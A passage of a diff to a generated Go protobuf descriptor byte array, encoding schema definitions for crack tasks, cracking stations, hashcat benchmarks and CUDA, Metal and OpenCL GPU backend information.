0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01, 0x0a, 0x0e, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x12, 0x0a, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x48, 0x0a, 0x0a, + 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, + 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, + 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, + 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, + 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, + 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1c, 0x0a, + 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, + 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x10, 0x0a, + 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, + 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, + 0x64, 0x22, 0xed, 0x03, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, + 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, + 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, + 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, + 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, + 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, + 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, + 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, + 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x46, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, + 0x6b, 0x73, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x1a, 0x3d, 0x0a, 0x0f, - 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, - 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, - 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xd9, 0x01, 0x0a, 0x09, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, - 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, - 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, - 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x64, 0x41, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, - 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, - 0x64, 0x41, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x07, - 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xed, 0x03, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, - 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, - 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x26, 0x0a, 0x0e, - 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, - 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x46, 0x0a, 0x0a, 0x42, 0x65, - 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, - 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, - 0x6b, 0x73, 0x12, 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x55, 0x44, 0x41, - 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x04, 0x43, 0x55, 0x44, - 0x41, 0x12, 0x30, 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x65, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, - 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x05, 0x4d, 0x65, - 0x74, 0x61, 0x6c, 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x66, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, - 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, - 0x52, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, - 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a, 0x0f, 0x43, 0x55, 0x44, 0x41, + 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x12, 0x2d, 0x0a, 0x04, + 0x43, 0x55, 0x44, 0x41, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x04, 0x43, 0x55, 0x44, 0x41, 0x12, 0x30, 0x0a, 0x05, 0x4d, + 0x65, 0x74, 0x61, 0x6c, 0x18, 0x65, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, + 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x33, 0x0a, + 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, + 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06, 0x4f, 0x70, 0x65, 0x6e, + 0x43, 0x4c, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, + 0x01, 0x22, 0xa1, 0x02, 0x0a, 0x0f, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, + 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, + 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, + 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, + 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, + 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, + 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, + 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, + 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, + 0x72, 0x65, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, @@ -10986,554 +11014,536 @@ var file_clientpb_client_proto_rawDesc = []byte{ 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, - 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x55, 0x44, - 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, - 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xd9, 0x02, 0x0a, 0x11, - 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, - 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, - 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, - 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, - 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, - 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, - 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, - 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, - 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, - 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, - 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, - 0x24, 0x0a, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, - 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, - 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, - 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, - 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, - 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, - 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, - 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, - 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, - 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, - 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, - 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, - 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, - 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 